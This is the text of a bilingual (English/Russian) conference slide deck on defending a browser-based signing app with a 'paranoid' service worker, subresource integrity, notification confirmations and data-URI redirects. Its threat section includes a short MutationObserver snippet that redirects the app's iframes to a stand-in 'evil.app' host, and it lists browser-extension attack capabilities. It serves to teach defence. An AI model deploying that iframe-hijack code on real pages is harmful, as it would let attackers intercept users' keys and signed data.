paranoid service worker

Vsevolod Rodionov, tech cutup

@jabher

Upon installation or autoupdate, it would exfiltrate credentials for sites including amazon.com, live.com, github.com, google.com, myetherwallet.com...

 

После установки или обновления оно начинало похищать реквизиты на сайтах amazon.com, live.com, github.com, google.com, myetherwallet.com...

POPULAR CRYPTO SERVICE MYETHERWALLET HIT BY ATTACK AFTER HOLA VPN GETS HACKED

 

ПОПУЛЯРНЫЙ КРИПТОСЕРВИС MYETHERWALLET БЫЛ АТАКОВАН ПОСЛЕ ВЗЛОМА HOLA VPN

Alexey Bogachuk: Vulnerabilities in your application. HolyJS '17 Msk

The Problem

Trusted APP

import {Platform} from

class App
implements Platform {
    ...
}

Trusted platform

interface Platform {
    sensitive: never;
    getKeys (): Key[];
    sign (Data, Key): 
        Signature;
}

Trusted platform

interface PlatformSpec {
    requirements: Possible
}

Trusted platform

interface PlatformSpec {
    requirements: Possible,
    browser: 
        | Chrome | Firefox 
        | Edge | Safari
}

Trusted platform

interface PlatformSpec {
    requirements: Possible,
    browser: 
        | Chrome | Firefox 
        | Edge | Safari,
    platform: 
        | Windows | MacOS | Linux
        | iOS<{jailbroken?: false}>
        | Android<{rooted?: false}>
}

Crossorigin communication

baseline

// https://caller.app
<iframe 
src="https://our.app/sign?0xDEADBEEF"/>

// https://our.app/sign
<script type="module">
    import {handle} from "./handle.js"
    window.parent.postMessage(
        handle(location))
</script>

Attack vectors

  • MITM: Control transport level (OSI)
  • Server: Control data layer (OSI)
  • Browser host frame context:
    • read/write postMessage chan
    • nel
  • Browser our frame context:
    • read/write/block postMessage channel
  • Browser plugins:
    • read/write/cancel/reject network requests
    • inject

Attack vectors

  • MitM: транспортный уровень OSI
  • Мы сами: прикладной уровень OSI
  • Browser host frame context:
    • read/write postMessage chan
    • nel
  • Browser our frame context:
    • read/write/block postMessage channel
  • Browser plugins:
    • read/write/cancel/reject network requests
    • inject in every HTTP(s) page. See "frame context"

Attack vectors

  • MitM: транспортный уровень OSI
  • Мы сами: прикладной уровень OSI
  • Контекст caller.app:
    • Читать и писать в postMessage
    • Менять глобальные переменные
  • Browser our frame context:
    • rearead/write/block postMessage channel
  • Browser plugins:
    • read/write/cancel/reject network requests
    • inject in every HTTP(s) page. See "frame context"

Attack vectors

  • MitM: транспортный уровень OSI
  • Мы сами: прикладной уровень OSI
  • Контекст страницы caller.app:
    • Читать и писать в postMessage
    • Менять глобальные переменные
  • Контекст страницы our.app:
    • + читать и писать в наш localStorage
  • Browser plugins:
    • read/write/cancel/reject network requests
    • inject in every HTTP(s) page. See "frame context"

Attack vectors

  • MitM: транспортный уровень OSI
  • Мы сами: прикладной уровень OSI
  • Контекст страницы caller.app:
    • Читать и писать в postMessage
    • Менять глобальные переменные
  • Контекст страницы our.app:
    • + читать и писать в наш localStorage
  • Браузерные плагины:
    • Читать,менять, отменять сетевые запросы
    • Внедряться в любые HTTP(s) страницы

Attacks

😱 Похищены ключи

Attacks

😱 Похищены ключи

😩 API не работает

😒 Флуд в API

Attacks

😱 Похищены ключи

😩 API не работает

😒 Флуд в API

🤔 аргументы или результат раскрыты

the solution

Disclaimer: Аудит безопасности не завершен. Все трюки выполнены профессионалами, не пытайтесь повторить дома на проде. Если вы действительно хотите использовать это - сначала свяжитесь со мной лично (@jabher/Всеволод Родионов)

untrusted network

HTTP handshake

HTTP handshake

DNS handshake

  • DNSSEC
  • DNS-over-TLS
  • DNS-over-HTTPS

DNS handshake

HTTPS HANDSHAKE

HSTS preload list

TLS/SSL vulnerabilities

TLS/SSL vulnerabilities

  • Logjam
  • NOMORE
  • Bar Mitzvah
  • SWEET32
  • POODLE
  • Heartbleed​
  • DROWN
  • CRIME
  • BEAST
  • BREACH
  • FREAK

untrusted DOM

untrusted frame

new MutationObserver(ms => {

for (const fr of getAddedIframes(ms))
if (fr.src.startsWith('https://our.app')
    fr.src = iframe.src
        .replace(
            'https://our.app', 
            'https://evil.app')

}).observe(document.body,
 { subtree: true, childList: true })

untrusted frame

const frame = createIframe(frameUrl)

const mo = new MutationObserver(
    mutations => 
        reject(new InterceptionError))

mo.observe(iframe, {
    attributes: true
})

document.body.appendChild(frame)

untrusted server

const {ok, headers} = await fetch(frameUrl, {
   integrity: 'sha384-...',
   redirect: 'manual',
   cache: 'force-cache',
   mode: 'cors'
})
assert(
   ok
)

injectIframe(frameUrl)

untrusted server

const {ok, headers} = await fetch(frameUrl, {
   integrity: 'sha384-...',
   redirect: 'manual',
   cache: 'force-cache',
   mode: 'cors'
})
assert(
   ok,
   headers.get('Cache-Control') === 'max-age=84600',
   headers.has('pragma') === false
)

injectIframe(frameUrl)

untrusted server

service worker

untrusted cache

//iframe.html
await navigator.serviceWorker.register('sw.js', {
    updateViaCache: 'all'
})
//sw.js
self.addEventListener('fetch', event =>
    event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
    await handle(location)
)
</script>
`)))))

update via cache

  • all - пользуемся кэшом для всех ответов, но если cache-control: max-age больше чем 24 часа - кэширует на 24 часа
  • none - браузер обновляет SW и его импорты, когда считает нужным
  • imports - используем кэш для импортов, но не самого файла сервис-воркера

untrusted

caller:

utilizing
Notification api

untrusted caller

untrusted caller

doSomethingImportant = async (...args) => {
    ...
    await notification('confirm?', {
        requireInteraction: true,
        data: args,
        actions: [  
           {action: 'res', title: 'yes'},  
           {action: 'rej', title: 'no'}
        ]
    })
    ...
}

untrusted caller

// sw.js
self.addEventListener(
    'notificationclick', 
    ({notification, action}) => {  
        notification.close()
        actions.callback(
            notification.data, 
            action
        )
    })

untrusted caller

self.addEventListener('fetch', 
event => {
    await confirm(event.request)
    event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
    await handle(location)
)
</script>
`))))})

untrusted caller

self.addEventListener('fetch', 
async event => {
    await confirm(event.request)
    const response = await handle(event)
    event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
${
    JSON.stringify(response)
})`))})

untrusted caller

Upon installation or autoupdate, it would exfiltrate credentials for sites including amazon.com, live.com, github.com, google.com, myetherwallet.com...

 

После установки или обновления оно начинало похищать реквизиты на сайтах amazon.com, live.com, github.com, google.com, myetherwallet.com...

untrusted origin

By the time the request gets to fetch, it doesn't know it came from a sandboxed iframe

 

обработчик запроса в fetch даже не знает, что запрос пришел из sandbox iframe

only allow-same-origin should be required for SW interception within a sandboxed iframe

 

только allow-same-origin должен требоваться для перехвата запроса сервис-воркером в sandbox iframe

 

w3c/ServiceWorker/issues/648

untrusted
requests

untrusted requests

OnHeadersReceived

OnBeforeRequest

before

request

  • прочитать оригинальный URL
  • переадресовать запрос
  • прочитать/изменить заголовки запроса
  • прочитать тело запроса
  • сломать запрос

headers
received

  • прочитать итоговый URL
  • прочитать status code (200/204/418/502...)
  • прочитать заголовки ответа
  • сломать запрос
  • менять тело ответа
  • создавать новые страницы на домене

ПЛАГИНЫ НЕ МОГУТ

Attack vectors

 

  • Контекст страницы caller.app:
    • Читать и писать в postMessage
    • Менять глобальные переменные
  • Контекст страницы our.app:
    • + читать и писать в наш localStorage
  • Браузерные плагины:
    • Читать,менять, отменять сетевые запросы
    • Внедряться в любые HTTP(s) страницы

trusted data
uri

DATA URI

<img src="data:image/gif;base64,R0lGODdAAA7"/>
<style>
li {
  background: url(data:image/gif;base64,R0lG...);
}
pre {
  background: 
    url(data:image/svg+xml,
        <svg xmlns="http://www.w3.org/2000/svg" 
        viewBox="0 0 1680 590">...)
}

origin evade

event.respondWith(Response.redirect(

'data:text/html,' +

'<script>parent.postMessage(' +
    JSON.stringify(
        await handle(request.url)
    )
')')))

the result

the result

Attacks

      Похищены ключи

😎 API не работает
      работает даже когда сервер недоступен
      обнаруживает ряд попыток атаковать

😒 Флуд в API

😩 аргументы или результат раскрыты

untrusted speaker

как защититься от подмены аргументов в редиректе?

не специфицированная эверистика

+ 20 минут к докладу

untrusted speaker

как защититься от подмены аргументов в редиректе?

не специфицированная эверистика

+ 20 минут к докладу

как защититься от разглашения аргументов в url?

как защититься от разглашения ответов в postMessage?

отдельная whatwg-based механика

+20 минут к докладу

untrusted speaker

как защититься от подмены аргументов в редиректе?

не специфицированная эверистика

+ 20 минут к докладу

как защититься от разглашения аргументов в url?

как защититься от разглашения ответов в postMessage?

отдельная whatwg-based механика

+20 минут к докладу

как защититься от DoS?

копировать опыт других

очень специфично для каждого приложения

untrusted speaker

как защититься от подмены аргументов в редиректе?

не специфицированная эверистика

+ 20 минут к докладу

как защититься от разглашения аргументов в url?

как защититься от разглашения ответов в postMessage?

отдельная whatwg-based механика

+20 минут к докладу

как защититься от DoS?

копировать опыт других

очень специфично для каждого приложения

как сделать API надежнее?

¯\_(ツ)_/¯

Vsevolod Rodionov, tech cutup

@jabher

paranoid service worker

Paranoid Service Worker Holyjs

By jabher

Paranoid Service Worker Holyjs

  • 2,631